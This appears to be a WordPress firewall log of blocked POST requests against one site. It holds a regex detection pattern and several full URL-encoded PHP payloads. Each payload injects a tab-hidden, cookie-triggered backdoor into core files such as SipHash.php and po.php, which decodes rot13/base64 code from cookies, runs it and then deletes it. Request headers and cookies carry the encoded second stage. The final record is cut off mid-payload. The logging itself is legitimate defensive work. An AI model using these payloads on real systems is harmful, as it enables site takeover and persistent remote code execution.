["2026-05-12 09:53:34","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4333\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:53:37","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:4310\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nTN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:40","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:4286\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFURvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nHq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:43","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3